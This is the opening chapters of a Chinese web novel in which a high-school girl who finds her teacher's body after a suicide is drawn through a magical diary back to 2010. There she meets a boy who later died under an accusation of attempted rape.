《金鱼飞过旧夏天》
1. 对不起
金鱼飞过旧夏天/十二山君
第一章对不起
二零一七年二月二十七日,高考百日誓师大会。
艾蓝路。
锦城二中大礼堂的正前方挂着红灿灿的横幅,上面气昂昂写着“雄关漫道真如铁,而今迈步从头越”。黎遇打了个哈欠,泪珠往眼眶一聚,那十四个字便模糊起来。
隔壁班几个男生脑袋聚在一起,偷偷嬉笑,黎遇偏头看了他们一眼,瞥见旁边的女生正紧皱眉头,捂着肚子。
她轻轻戳戳余珂,“去不去卫生间?”
台上换了学生代表讲话。
“各位领导,各位同学,大家好,我是高三三班的朱锐……”
余珂长了一张巴掌大的瓜子脸,眼睛溜溜往前瞧,但又怯怯道:“老师让去吗?上面正讲话……”
“人有三急,该去卫生间还是要去的。”黎遇抻了抻腿,率先勾着腰站起身,从后门小跑着出去。
初春已经来了,新枝还没有绿透。
大礼堂的卫生间坏了,最近的在对面的行政楼,两个姑娘跺跺脚,呼出一口白气,绕过中央孔子像,走入行政楼一层。楼里静悄悄的,大多数老师都在礼堂。鞋底踩在灰色的地砖上,听着也显得冰冰凉凉的。
黎遇听到隔间的余珂敲敲塑料隔板,小声问自己,“你带卫生巾了吗?”
“没有呢,你来大姨妈了?”
“嗯……提前了快十天,完全没准备。”
“你等我。”黎遇推开门,在掌心打了些洗手液,在手上搓起了泡沫。
“谢谢你。”余珂很不好意思,从这里到小卖部走路来回起码要十分钟,外面还很冷。
黎遇却说:“我刚才过来的时候,看到苏老师的办公室好像开着门,她应该在里面,我先去问问她。”
黎遇往学生办事处走去,办公室的门依旧露着一条虚缝。她敲了敲,“苏老师?”
可是里头安安静静。和外面一样。
北方城市的冷风尚且在作祟,冷空气好像总有一股铁锈的味道。黎遇陡然觉得楼道里凉飕飕的。
“苏老师,我进来喽。”
可是手指刚在碰到门上,忽地,背后“啪嗒”一声。
黎遇微惊,转头,原来是墙上优秀教师相框上的一个钉子弯了,相框一边垮了下来,教师的笑容摇摇欲坠。
她摸了摸心口,再回头时,办公室的铁门已经被北风吹开了。
门吱扭扭地转,办公室的窗帘拉着,不太亮堂。
黎遇的视线从下往上。
她看见了一双晃荡的高跟鞋。
*
余珂蹲在卫生间里,听见了一阵凄厉的尖叫。
叫声充斥着恐惧,打在楼道尽头的墙壁上,有了回音。她立刻跟着害怕起来。
“黎遇?是你吗?”
没人应答,余珂又低低喊了两声黎遇的名字,已经有了些哭腔。
她不敢一个人站在卫生间里,提上裤子就往外跑。
阴凉的楼道里,黎遇瘫坐在地上,捂着耳朵一动不动。
她跑过去,往里面看。
办公室的天花板上挂着吊扇,吊扇下面挂着一个女人,正背对着她。
女人有一头柔顺的长发,脑袋耷拉着,四肢软绵绵地垂下,肩膀塌陷,腰肢纤细,左脚上的黑色高跟鞋因为吃不上力而掉下来,只剩下鞋头还晃晃荡荡地吊在脚趾上。
粗糙的麻绳在轻飘飘地转悠。她的身体跟随变动方向。
女人衣着鲜丽,只是风吹动时,她的裙摆飘动显得空荡荡。
单薄得像一张纸。
余珂的心里已经渐渐清晰地书写出一个名字。可她张着嘴,喉咙像是被人狠狠掐着,怎么也发不出声音来。
女人还在冷风中伶仃摇晃。
苏芸的脸慢吞吞地转过来的时候,余珂注意到,她的眼睛甚至都没有闭上。
或许她在死亡时没有任何挣扎,此刻低敛着眉目,竟然显得慈和。
余珂双手挡住脸,却不敢再看第二眼,低下头干呕。
黎遇突然猛地惊醒,浑身忍不住颤抖,她双手伏地,艰难起身,“我……我要去找保安。”
余珂拽住她的胳膊,不肯一个人待在这里,双腿发软,忙道:“我也去,我也要去。”
*
黎彦尧驱车和父母一起等在警局门口。晚上六点半,班主任领着两个姑娘走出来。黎遇穿着一件棕色棉服外套,可好像还是很冷,紧紧抱着双臂,一张小脸惨白,双目无神,可还知道哆嗦着跟老师道别。
章锦与黎劭丰心疼不已,小跑着将女儿拥在怀里,
黎遇把头埋在妈妈的臂弯里,嗫嚅了几声之后开始嚎啕大哭。
“不怕不怕……曈曈,不怕啊,爸爸妈妈还有哥哥都在呢。”
黎彦尧沉着一张脸,护住妹妹的肩膀。黎遇哭了半晌抬起脸,抽噎着说不出一句完整的话,但他还是听清了。
妹妹说:“我、我……是不是叫保安叫迟了?”
他的心脏重重向下坠。
远处的警局在夜晚中沉默。
比较七年前,门口多了两个石狮子。
*
黎遇回家泡了个热水澡,穿着睡衣缩在妈妈身边,到了晚上十点,黎彦尧给她热了一杯牛奶,她喝完不肯动,过了一会儿小声说:“妈妈,我晚上想跟你睡。”
她不敢闭上眼睛,一旦让自己浸入黑暗,她的眼前便会出现那双浮在空中的高跟鞋,还有垂下来遮住苏芸半张脸的黑色长发。
黎遇的眼睛哭得肿肿的,眼角还有泪珠,黎彦尧坐到她对面,用纸巾蹭了蹭她的双眼,用捏着她的鼻子,“擤。”
黎遇推开哥哥的手,“脏死了。”
“你小时候更脏,我还给你换过尿布,你知不知道?”
“那是以前。”
黎遇嘟囔道:“我只记得我小时候你揍过我。”
黎彦尧罕见地没跟她计较,扮演着贴心的好哥哥。替她洗了牛奶杯子之后顿了顿,有些生硬地说:“曈曈,我们下午跟副校长通过电话了,苏——苏芸早在你们发现她之前就死了,人救不活是因为她选择自杀,跟你一点儿关系都没有。”
黎遇的眼泪又掉下来。
她用袖口蹭掉,听到哥哥继续叹声道:“你还是没成年的孩子,已经很坚强了。”
黎遇当晚睡在妈妈身边也睡得不踏实,她辗转反侧,好不容易睡着便开始磨牙,呓语,在睡梦中尖叫着惊醒,反复三四次后在凌晨五点多的时候吐了一回。章锦替女儿请了三天的假,心理健康最重要。家里就生了这一个姑娘,他们从小将她捧在手心长大,哪里舍得她受这样的惊吓。
章锦计划几日连续变着花样给黎遇做好吃的,黎彦尧就在本地医科大读博,趁此机会回家吃饭跟着享福,顺道把自己的游戏账号还借给了妹妹。
可黎遇不想玩游戏,她指着哥哥紧闭的书房门,“我能看你的武侠小说吗?”
哥哥好不
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容易大度一回,她把自己关在家里不愿意出门,整整看了两天书。郭靖变成了大侠,又死在了襄阳。第三日晚上,她给手机充电,第一次有勇气打开班级群聊。
不出意外,认识的不认识的,上百条未读信息,全是来问她苏芸自杀的详情,黎遇都没有回复。但聊天记录里显示下午五点时余珂给她发来一条消息。
是一则新闻链接。
本市公安局公布了锦城二中女教师死亡信息。
黎遇坐在沙发角落里读完了全文,其中细节她不想再多看,只不过也是今天看了公安发布才知道原来苏芸当时自杀前在自己裙子的内衬里放了一张纸条。
上面只有三个字——
对不起。
余珂看见黎遇上线,立刻发来消息。
「你觉得苏老师是在跟谁说对不起?」
黎遇沉默。她设身处地地想了想,如果她选择结束自己的生命,那么对不起的只有细心养护她的父母。死了的人不会再感到疼痛,因为那是活着的人在承受。
余珂表示同意。
「你现在有空吗?」
「嗯。」
余珂很快打电话过来,黎遇躲在卧室,将门关上,接起来。
“我表姐说她今天在医院看见苏老师父母了,他们看上去年纪很大了,身体也不是很好,听说苏老师的哥哥娶了外地媳妇,离锦城很远,他们家其实就只有苏老师一个人挣钱,现在人死了,好可怜……”
黎遇闭上眼睛,小声问:“余珂,你做噩梦了吗?”
“……做了。”
她不明白,连死都不怕,还有什么不敢面对的呢?
*
哥哥的书柜最右边那一列放着几本他当年高中时候用的笔记本。黎遇拿出来好奇翻了翻,哥哥字迹龙飞凤舞,看上去杂乱无章,实际上都是易错的知识重点。奇怪的是,其中一本干干净净,崭新得如同刚买回来。黎彦尧下午回家时,黎遇问他能不能这个蓝色皮面本子送给自己。
黎彦尧斜眼,蓝皮本封面上印着一只小兔子,他故意逗她,“你在家多待两天,我这书房是不是要被你搬空了?”
“小气死了。”黎遇撇嘴,把本子塞回他手里,突然狗鼻子一样在空气中嗅了嗅,“你是不是抽烟了?真难闻。”
“给你给你,都给你。”妹妹嘴撅得能挂油瓶,黎彦尧见她转头要去厨房告状,赶紧拉住,把书柜玻璃门打开,“还有我以前用的错题本,也都给你。”
黎遇心想我可是比你成绩好,但她转念又回忆起当年哥哥似乎化学分数很亮眼,便故作犹豫矜持地接过了那几本笔记。
晚上睡觉前,黎遇拿出新本子,她最近思绪多,想用日记写下来。
这个本子沉甸甸的,样式简单,但看上去价格不菲。黎遇在第一页画了一个太阳,然后在下面用粉色的彩笔写下:
「曈曈的秘密」
翻过一页,她标上今天的日期。
黎遇偶尔有写日记的习惯,大多时候都是孩子气的奇思妙想,毫无章法和逻辑。落下最后一个字后,她盖上笔帽,吹了吹墨迹,关掉台灯,跑回到主卧,躺在妈妈身边。
她的卧室窗帘没有完全掩上,月光溜进来,在屋内劈下一道光影,明暗就此分开。
黎遇的新日记本还敞开着。
在她永没有注意到的地方,笔记最后画下的那个句号笔墨正在一点点透过。
纸张变得像是一层厚海绵,句号渗进去,彻底消失在表面。
2. 错题本
第二章错题本
班长擦掉昨天的粉笔痕迹,在后门边上的黑板写下今天的日期。
「二零一零年三月三日」
距离高考九十六天。
周湜与前天理综考试最后一道物理大题扣了四分。他在参考答案的关键解题步骤上画了一个圈,暗骂自己笨得要命,随后从书包里掏出一个还没用过的蓝色笔记本,准备把推理公式记上去。
“周湜与,打篮球不?”
后门正巧有隔壁班男同学叫他,他头没抬地嗯了两声,打开笔记本第一页,皱起了眉头。
“什么东西……”他盯着那个简陋的太阳,往后翻,看到了一整页秀气的字迹。
打眼扫了一番,大概是一个神经病莫名其妙的情感抒发。
高三的学生错题本相互借着学习是常有的事情。周湜与想都没想,把这当作恶作剧,撕掉前两页揉成团,抬起胳膊投篮似的,精准地扔到后门的垃圾桶里。
周三最后两节自习课高三的老师们都要去开会,他们几乎次次都将这两节课翘掉,
周湜与把教师门后的篮球捡起来,在掌心一转,“黎彦尧,走了。”
篮球架有些年头了,上面的铁漆都是划痕,还有几张校外高考补习的广告贴纸。黎彦尧用力扯下来,上头球框跟着晃了晃,“你说我们学校也挺有意思的,校门口摆了一排摄像头成天监视我们穿没穿校服,怎么连这些贴小广告的都管不住?”
周湜与在三分线上定点投入一球,才笑着嘲弄道:“有需求呗,铁栏杆上还有男科医院的电话,不知道精准投放给哪位男老师的。”
黎彦尧挠着头傻乐,向空中抛起篮球,“咱们今天打比赛啊,输了的人放学后请客喝汽水。”
“行啊。”周湜与跳起转身抢篮板,“你那兜里别是空的就行。”
篮球在篮筐边轻弹了一下,转进篮网中。
球场旁边有个高二的班正在上课,好几个女孩儿的眼睛唰唰甩过来,只是媚眼抛给瞎子看,周湜与对此实在是见怪不怪,就跟没看见似的。
其余几个男生倒是挺兴奋,卖力起来,赵霖宇用肩膀撞了撞他,“哎,看见最后排那个女孩儿没,头上绑着个蝴蝶结的那个,听说是高二最漂亮的。”
周湜与手里的篮球差点儿被他给撞飞,他抬手给勾回来,往那头瞥了一眼,但事实上眼皮都没掀起来,“我怎么记得你之前告诉我你是脸盲呢?”
“……这事儿也得分情况。”赵霖宇蹭蹭脑门上的汗,大言不惭。
周湜与嗤笑一声,把球传给他,“还打不打了?”
可惜赵霖宇几人是上不了台面的臭球篓子,旁边有姑娘围观,他们浑身就跟长了虱子似的,那球打得七扭八歪,怎么投不进去。
当篮球再一次滚到场外,周湜与转身去捡的时候,塑胶跑道边的一个女孩儿替他拾起来,轻轻抛过去,力气不大,球抛歪了一些,周湜与接过来,冲她点点头,算道谢了。
赵霖宇站在另一头盯着那女孩儿看,瞧她干干净净的短发和双眼,接着听见有人喊她的名字。
“苏芸!快来!”
*
黎遇和余珂都在家里休息了三天,同时返校时,成了瞩目的焦点。枯燥的日子味同嚼蜡,学生们难熬,身边有点儿风吹草动都要上去凑热闹。何况是校园里死了个人。
曾经安静温柔的苏芸老师为他们的沉闷撕开了一道口子。
早自习一下课,黎遇的桌边围住了人。
“苏老师死的时候什么样儿?”
“你看见她的时候她已经咽气了?”
“听人说,她自杀那天特意打扮得特别漂亮是不是?”
黎遇抬起头,看见身边十几只炯炯有神的双目,他们探照灯一样目不转睛地盯着她,期待着一个当事人的答案。
她张了张嘴,说不出话来。
“哎,黎遇,你吓傻了?”
后排的男同学拍了拍她的肩膀。
黎遇推开座位旁边的人,“我要去卫生间。”
余珂瞧见立刻跟在她身后,两个姑娘跑到天台,靠着墙蹲下来,把下巴搁在膝盖上。远处的钟楼响了三声,校门口陆陆续续地迎来高一高二的学生们。
黎遇抓起脚边的一块石头,抿抿嘴,愤愤向墙上扔去。余珂小声说:“对了,我妈给我找了心理医生。”
“你还好吗?”
她摇摇头,不出一会儿,双眼已经聚了一汪水。
这时,天台的门突然被人推开。黎遇随即闻到一阵烟味儿。高中的男孩子们总爱躲在这里抽根烟。她垂下眸,看到自己脚尖旁就有小半根。
她们是蹲着的,估计来者没看见,肆无忌惮地聊起天。从球星聊到游戏,最后话题不可避免地转移到了苏芸身上。
“我听我姑父说,苏芸是因为跟男朋友分手了才自杀的。”
“原来苏老师有男朋友啊……”
另一个男生咂了咂嘴。
黎遇和余珂对视了一眼。苏芸因为美丽又年轻,刚一来学校工作就被男生私下议论过许多次,她偶然放学时听到过一次,才知道他们的对话有多么露骨。
她忍着恶心,听到第一个男生继续道:“怎么,你以为没有男的愿意要她啊……”
“不是,倒也不是。”两人心照不宣地猥琐笑起来,“可毕竟还没成年就被男的……”
“——那个了。”
黎遇蹭地站起身,余珂抓都抓不她。
她大步走在两个男生面前。
后者被突然出现的女生吓了一跳,随后立刻认出来这是那日发现苏芸尸体的高三同学。
“你们在胡说什么呢?”
她瞪起眼睛,显得盛气凌人。
两人被她唬住几秒,随后嘻嘻哈哈地反驳:“我们怎么胡说了?你不知道七年前的事儿嘛,我们学校这几年一共发生过两件大案子,可都是苏芸老师有关。”
黎遇愣住了。七年前她还没有小学毕业,即使发生过什么大事,她也应该不会放在心上。
男生弹了弹烟灰,“听我姑父说,当年还在念高二的苏芸在高考第二天中午被一个高考生给□□了……”
“什么?”
身后的余珂却忽地吸了一口凉气。
黎遇回头望向她。只听她道:“我、我好像对这件事情有一点印象——因为我小姨当时是二中的语文老师——那个男生在我们学校本来就很有名气,长得好,学习也好,明明前途一片光明,却在高考最后一门考试的时候做出了那样的事情——我记得他叫周……”
“对,周、周什么来着?”
“周湜与。”
黎遇轻轻地接上,看着男生身上的天蓝色校服,脑中的一层厚云仿佛被什么轻轻拨开,“对吗?”
“好像是的!”
这个名字她不算陌生。
黎
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遇想起来了。周湜与曾经是哥哥最好的朋友,他们一起长大。七年前这个男孩儿死了,那一整个夏天,哥哥都十分消沉。
上课铃声突兀响起。
余珂扯了扯黎遇的袖子,“回去吧。”
*
住校的高三学生被强制要求参加晚自习。但这条规矩拦不住周湜与,他偶尔会去游戏厅,去电影院,去网吧。总之,周湜与不会在效率不高的状态下,强制自己坐在课桌前的。
下午放学后,他和黎彦尧一起去了距离学校五百米的一家网吧。
那网吧门店很小,连个名字也没有,墙边画了个向上的箭头,每天晚上就借着隔壁发廊转花筒灯的亮光做生意。周湜与和黎尧彦前后穿过窄窄阴冷的楼道,上了二层。里面别有洞天,没有一丝烟味儿,只有女人的香水味道,电脑桌干干净净,地方不大,但每个座位空间都显得足够宽敞。
老板娘翘着腿闻声抬起眼。
“来了?”
“嗯。”
“今天几个小时?”
黎彦尧竖起三根指头。
他戴上耳机,登录《孤岛危机》游戏界面,眼睛不肯离开屏幕,抬了抬胳膊,“梁姐,要两听可乐。”
梁真正在对着镜子描眉毛,摆摆手,没点儿做生意人的姿态,美目一斜,“臭小子,使唤谁呢,自己拿。”
一个半小时刚过。黎彦尧接了个电话。放下后他就拿起书包,把最后一口可乐喝完,叨叨道:“完蛋了完蛋了。”
“怎么了?”周湜与终于抬起头。
“我妹今天舞蹈课,我爸妈刚好都有事儿,早上说好了让我去接,结果我给忘得一干二净,刚才老师打电话过来了,说这小祖宗哭了。”
周湜与笑了笑,“那你赶紧去吧。不然该哭的是你了。”
“还真是。”黎彦尧叹口气,“毕竟我们家只有我妹是亲生的,待会儿给她买个冰激凌,省得她告状。走了!”
晚上十点。周湜与从网吧出来回了学校。这个时间点校门早都关了。幸好他对翻|墙这件事儿熟门熟路。
只是单当他手撑着墙面跳下去时,眼前突然照过来一束光。
“靠……”
周湜与低声暗骂,心道今晚可真够倒霉的。
那束光很快被人按灭,他眯了眯眼睛,看清了对面人。
两人一高一矮,矮的那人往自己这边一瞧就尴尬地别过身子,咳嗽了两声小声说:“领导,那我先走了。”
穿着黑色大衣的高个男人“嗯”了一下却半晌没动,直到附近只剩下他们二人时,才缓慢背手走过来,沉着一张脸,停在他面前,寒声道:“干什么去了。”
“网吧。”
周湜与这人逃课一向逃得坦坦荡荡,被抓住了也不撒谎。
“网吧?你还好意思说出口?你知道不知道高考还剩下几天了?你觉得你的分数能考到哪里?你对自己的人生有没有规划?”
周湜与掀起眼皮,冷冷淡淡地回道:“按照我们学校以往排名前五十录取的大学,我应该能去自己想去的地方。”
“自以为是!”男人语气中的怒意更甚,“回去写五百字的检讨,下周一国旗下演讲的时候当着全校面朗读。我要治一治二中自由散漫的风气——听到了没有?”
“听到了,校长。”
“你叫我什么?”
周湜与默了默。
“听到了,爸。”
3. 相遇
第三章相遇
黎遇飞奔回家,黎彦尧恰好窝在沙发上打游戏。
她放下书包,喊了一声“哥”,黎彦尧有气无力地哼哼两声,侧侧身子歪着头,目不转睛地盯着前方电视屏幕,“曈曈,你挡我视线了。”
“哥哥,我有大事要问你。”
“你一个学生能有什么大事?”
“真有大事!”黎遇双手张开,无赖地晃晃脑袋。
“啧。”黎彦尧跟着她的身子左右摆动,“哎,我都输了!”
“输了下次再玩。”黎遇嘻嘻一笑,“啪”地关掉电视机,端坐在他面前,认真道:“哥哥,给我讲讲周湜与的事情吧。”
听到故去好友的名字,黎彦尧面容陡然一僵,笑容收起来,抬头望向她。
他沉默许久,随后了然,低声道:“我该提前想到,苏芸死了,你们当然会议论当年的事情。”
“大家都在议论苏老师的自杀,还有很多男生说得很难听,哥哥,我记得你是那个人的好朋友,你肯定了解得很多。”
黎彦尧沉默着,拿起茶几上的水,一饮而尽,随后一动不动盯着窗外的夕阳,他很想掏出兜里的烟盒,但妹妹还在,只能忍了又忍。
过了许久,黎彦尧终于开口,“他不是那样的人。”
周湜与是个怎么样的人?
黎遇趁着下课的间隙,和余珂已经在多年前的新闻中窥探一角。
——逃课,检讨信,学校不远处网吧的常客。
在那些零散的报道中,这大约是一个作恶多端的问题少年。
他活该,死有余辜,有了邪念之后被可怜的少女在宿舍中反杀。
这是黎遇看到的故事的全貌。
可哥哥握紧拳头,只是坚定地再次重复了一遍,“周湜与做不出那样的事情,他不是那样的人——更何况,当年喜欢他的人那么多,不也有苏芸她自己么?当初就剩下最后一项考试了,她亲口承认是她偷偷溜进男生宿舍给他送情书,结果碰到还没有出发去考场的周湜与,他听了她的表白就要强迫她上|床,你说,他犯得着吗!”
黎遇轻轻眨了眨眼睛,看到哥哥突然眼眶红了。他别过脸,吸了吸鼻子。
苏芸喜欢周湜与的事情她今天也听说了。当年有人怀有同样的质疑,可才十七岁的苏芸冲着镜头撕心裂肺的反击——
“难道我喜欢他就要同意他对我的侵犯吗?”
那年,对于二零一零年的人们来说,“性同意”还是一个十分陌生的概念,苏芸当年的悲愤的控诉像是一根火柴,丢进枯草中,却有了燎原之势。加之当年的确没有任何一位嫌疑人的出现,苏芸又是个未成年的高中生,此事便就此搁置。
年轻的周湜与永远地与“强|奸未遂”四个字长眠于地下。
黎彦尧狠狠用掌心搓了搓脸,低声道:“周湜与本来就学习很好,高考前几门发挥特别出色,只要他英语考试时正常发挥,我确定,他的分数当年可以去全国任何一所高校……”
晚上,黎遇在哥哥的书房中看到他七年前的毕业照。
周湜与站在最后一排的右侧,笑容阳光,身姿笔挺,是个十分夺目的少年。黎遇看了又看,终于明白为什么报道只留下他倒地的模糊身影。
据黎彦尧和余珂说,其实当年为周湜与喊冤的人并不少,只是很快淹没在讨伐声中。更重要的是,大多数活着的人还有自己的日子要过,没有人会为了一个已经死去的人而愤愤不平多年。何况没有人能拿得出证据。
“那他爸爸妈妈呢?”
黎彦尧看了她一眼,只是摇头。
那晚黎遇失眠睡不着觉。凌晨将近六点钟迷迷糊糊醒来后,爬起来拿过日记本和笔,裹着被子想要把自己的心事记录下来。
她翻开第一页,微微察觉到不对劲。
前一天晚上认真写下的日记不见了。
日记本的前两页被人为地撕下来,沿着中间缝隙还留着一点破碎纸张的痕迹。
她往后翻,看到了一串不属于自己的字迹。
陌生且张扬。
她的第一反应这是某个男同学的恶作剧。黎遇仔细辨认上面的内容,感觉熟悉,逐字输入,惊讶地发现这竟然正是七年前物理最后一道大题。她挨个排查年级中能做出这道题的男生,几乎没有几个。随后,她又愤又羞,怒气冲冲地撕掉这页纸,正要揉成团时,突然注意到页面左上角写着三个字。
一个人名。
周湜与。
字迹像是翱翔的鹰。
一个死去的人的名字出现在自己的日记本上。她大吃一惊,手指头划过书页,接着“嘶”了一声,指尖划破了。鲜血从伤口中鼓涌出来。
黎遇咬咬牙,起身找创可贴,那滴血却不小心甩在了日记本的纸页上。正要用手背将血蹭掉时,那点鲜红色的圆却肉眼可见地在纸面上一点点渗透。
红色变成了浅粉色,然后彻底消失。
黎遇捂嘴惊呼,可还没出声,眼前就像是来了一阵狂风。而她变成了那滴血,被吹进了日记本形成的漩涡中。她徒劳地在空中抓了抓,喊了一声“妈妈”,短暂地失去了意识。
*
周湜与晨起会沿着校外不远处的老旧居民楼跑步。街边早餐店已经冒起了热气,这是城市里每日最早苏醒的地方。
他均匀呼吸,吐出白气,清晨的雾凉丝丝的铺来,刚刚转过一道弯,看到远处四五外的马路上歪坐着一个姑娘。
那姑娘披散着头发,虽然背对着他,但因为一动不动显得呆呆傻傻。这地方正在建楼,工地上常来往着大型卡车,或是因为道路监控不力,总有喝酒喝至凌晨的酒蒙子开车横冲直冲而来。
就现在这人的这副样子,小命随时能在轮胎下碾轧。
周湜与没多想她究竟是不想活了,还是脑子有些问题,或是压根儿也是个醉鬼。只是在余光中看到对面一辆运木头的皮卡疾驰而来。
他冲过去,拎起姑娘的后领用劲儿将她拖到马路边上。
皮卡司机打开窗户,啐了一口,“妈的有病啊!”随后扬尘而去。
姑娘终于后知后觉地惊叫了一声。仿佛才清醒过来,怔怔地望向他。
周湜与见她冬末初春时清晨竟然穿着睡衣坐在马路上,估摸这这人大约智力有些问题。
“能起来吗?”他轻轻弯腰开口道,因为她那白底粉花的睡衣领歪在一边,露出一篇白嫩的皮肤。周湜与略微别开眼。
却只见这姑娘依旧呆若木鸡,瞪大了双目,仔仔细细的端详他,像是见到了鬼一般,瞳孔都缩了起来
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,缩着肩膀下意识地吐出几个字,声音都变了调,“周、周湜与?”
周湜与有些轻佻地呵了一声,心道原来这傻子还认识自己。并非他自恋,只是活了快十八年,从小到大特意打听他姓名的女孩儿实在是数不胜数。不过他不在意她是如何知道自己,只是觉得撞都撞见了,不能见死不救,得联系上这姑娘的家里人。
于是他点点头,“嗯,你要不要起来?坐在地上不凉吗?”
周湜与自认善解人意,此举简直堪称感动中国人物,可对方眼中的惊恐却陡然蔓延开来。
黎遇顾不上脏,双手撑在地上。面前是她昨夜看了一整晚的脸,如今在眼前放大,她简直忍不住浑身发抖。
在那些模糊的照片和愤懑的文字中,即使哥哥再为他扼腕,周湜与在她的脑中已然被想象成一个披着可以蛊惑少女皮囊的恶魔。
此时此刻,恶魔用那双漂亮的眼睛看着自己。
黎遇狠狠摇了摇头,顾不上冷,撑着地就要站起来,可双腿太久不动,麻得厉害,她欸了一声,又一屁股坐回去。
周湜与当然看出来她眼中流露出的防备和恐惧。他才不讨人嫌,往身后的电线杆上一靠,神色跟现场看小品似的,看这姑娘揉|捏自己的小腿肚子,然后踮着脚尖起身颤颤巍巍地起身。站稳后还不忘戒备地瞪他一眼。
莫名其妙。
不过周湜与倒是可以判断出,这个姑娘不仅不是傻子,大概还是被宠爱着长大的。
青天白日的,穿着睡衣坐在马路上总归不是正常人。他见她冻得直哆嗦,好心脱掉自己身上的黑色连帽外套。
正拉下拉链时,人家却捂耳朵惊恐大喝,“你要干什么?”
喊完,还退后两步,警惕地向四周看看。
周湜与脾气再好也不高兴叫人三番五次当成登徒子。他冷笑一声,隔着一米远,将外套扔给她,至于她爱要不要,他懒得废话。
黎遇到拿着他的衣服,还能闻到丝丝洗衣粉的清香,有些尴尬。
忽然,身后响起——
“彤彤!“
黎遇一喜,下意识“哎“了一下,回头望去,却见是后面的早餐店老板娘正在呼唤自家四五岁的小女儿。
她目光一黯。
正巧落在周湜与的眼中,他微微侧了侧身,听到安静的清晨里清晰的胃里的咕噜声。
黎遇脸红了,看见他一双含笑的眼睛,以为他要讽刺自己,没想到他只是问:“吃早饭吗?”
在这个寂静又尘土飞扬的清晨里,黎遇想,至少此刻的周湜与是没有恶意的。
何况,在这个陌生的街道中,他大概是唯一能帮助自己联系上家人的人。
她点点头。
周湜与又深深地看了她一眼,突然感觉自己似乎在哪里见过她,她的眉眼间总有几分熟悉,但他一时想不起来。他们看上去是同龄人,或许是曾经的同学。
他转身走进早餐店,要了两份豆浆和油条,付过钱提着塑料袋走出来时,门口空空荡荡,又一辆运输车经过,沙尘扬起撕开原本的晨雾,却又像是聚起一阵更浓重的谜团。
豆浆混合着汽油的味道。
马路空空荡荡,身边合滨路的工地上正在拔地而起一座新小区。
哪里还有人。
4. 妹妹
第四章妹妹
“哎呦!”
黎遇的头撞在一个硬物上,又是一阵天旋地转。她护着脑门定睛一看,发现自己已经回到卧室,手中还捏着日记本。心脏在激烈地砰砰震动,她脑中一片空白,忽然听到门口传来妈妈的声音。
“曈曈,起床了,不然要迟到了。”
黎遇猛然一惊,拿起手机。
六点二十四分。
方才最后一次看时间大约在半个小时前。她估摸着,自己或许见到周湜与的时间在二十分钟左右。
她掐了一把自己。
嘶,好疼。
周湜与。
想起方才发生的一切,黎遇忍不住浑身一抖,再去翻看手中的日记本。
不是幻觉,纸张左上角的确写着两个字。
正是他的名字。
心跳声快要冲破耳膜,黎遇试图控制自己的情绪,但紧张与惊恐像小鹿在她的脑中胡乱冲撞,拖鞋都来不及穿,她冲进哥哥的书房,黎彦尧在她身后咬着牙刷,“哎!我的书房只借了你三天!”
黎遇才不听,搬出他高中用的那一摞笔记本来。上次她没有挨个仔细看,今天再翻发现这些内容来自两个人的笔记。
一部分是黎彦尧的,另一些正是周湜与的。
而笔记本的第一页的左上角写上自己的名字显然是周湜与本人的特殊习惯。他笔触连续飞舞,湜字最后一捺拖得略长,也并非寻常人可以随意模仿的。
“妈,妈!”
章锦端着一小碟煎鸡蛋忙走过来。
“你刚才听到什么动静了吗?”
“什么动静?曈曈,你没事吧?如果还是不舒服,妈妈再给你请假。”
“不用……”
黎遇摇摇头,她抱着笔记本,抬起脸,映入眼帘的是哥哥书架上的那本《时间简史》。
*
语文课的下课铃声响起,老师前脚刚踏出班门。十六班靠窗后排便闹腾起来。
“我靠,黎彦尧原来你性转之后长这样啊。”
“哎呦呦,也算是清秀佳人了嘛。”
“哎,周湜与,你来试试——”
周湜与伸了个懒腰,站起身,往他们那边走去。
“你看,在这软件上拍个照,它能测出你如果是个女人长什么样。”
“估计许哥就算是个女人也是个绝色。”
“那我肯定追你。”
周湜与晃了晃自己的拳头,对方立刻做了一个“给嘴缝针”的动作,却又听他挑着眉大言不惭道:“我是绝色肯定没得说,但一次揍你们两个也不在话下。”
他往前排同学的手机屏幕上扫了一眼,正是黎彦尧长头发的模样,还真是挺清丽的,不过眉眼倒是让他想起一个人来。
“哎,我有那么好看吗,看这么认真?”
周湜与乐了,“黎彦尧,当年阿姨是只生了你一个还是生了对龙凤胎呐?”
“在没我妹之前,我是独子,怎么?”
他指着屏幕,“我今早看见一个和这照片六七成像的姑娘。”
“真的假的?哪儿看见的?”
“合滨路那片工地旁边。”
黎彦尧愣了愣,也笑道:“那还真是巧,我家的新房就买在了那里,估计过两年就搬进去。”
玩笑话开过大家也都扔到了脑后勺去。周湜与把自己之前写过的检讨书改了改送到了教导处审核。
周五放学后,他们去校门口的小卖部喝汽水。
小卖部的菜单上写着一行红色大字。
「高考成绩680分以上的学生凭成绩单可以免费在本店喝汽水10次。」
赵霖宇嚷嚷道:“老板,你这要求太苛刻了,全市能有几个人考680分以上啊?”他转头指向周湜与,“就连他都费点儿劲呢。”
老板掀起后厨帘子,拿出三瓶常温橘子汽水走来,笑呵呵道:“我这不是为了鼓励你们吗?二中的都是好学生,每年能有几个孩子呢,小周也很有希望。”
周湜与翘着二郎腿,抱了抱拳,懒懒散散地,“借您吉言啊。”
他学习好,老板也是知道的,初中来这儿喝汽水的时候就有女生也跟着跑来以询问题目为理由坐他旁边的。一来二去两三次,他有半年都没再来。
“哎,听说你下周一又要国旗下念检讨了?又惹你爸了?”
“嗯,那天从网吧回来,撞上他了。”
“你跟校长顶嘴了?”
“我哪儿敢呐。”
黎彦尧知道自己好兄弟多年来孤苦伶仃一个人,妈没了跟爹又不亲,拍了拍他的肩膀,不由道:“好歹亲父子,又没什么深仇大恨,你惹他干嘛?”
他这边正说着,桌上的手机震动,来电显示是“妈妈”。
周湜与无意扫到,别过头哼笑:“你家庭和睦,就别来刺激我了。”
黎彦尧接起电话,吃惊地啊了两声,挂掉后端起玻璃瓶喝掉最后一点汽水,没好气道:“我妈要是不给我生这妹妹,我们家会更和睦。”
“怎么了?”
“小祖宗不知道怎么了,跟人打架了,听说对方家长和孩子现在正在办公室哭呢,我爸妈都出差了,唉……我得先去趟附小挨骂,苍天——撤了啊!”
今天晚上周湜与也不住校,他拎上书包,回了以前姥爷家。五年前,在姥姥姥爷相继过世之后,他回到了父亲周因昌身边,但那个时候许主任工作忙碌,没有时间照顾这个即将青春期的陌生儿子,因此,从那时开始,周湜与就开始住在学校宿舍。
不过多年过去,在他的心里,建设路的这座旧小区才是他真正的家。
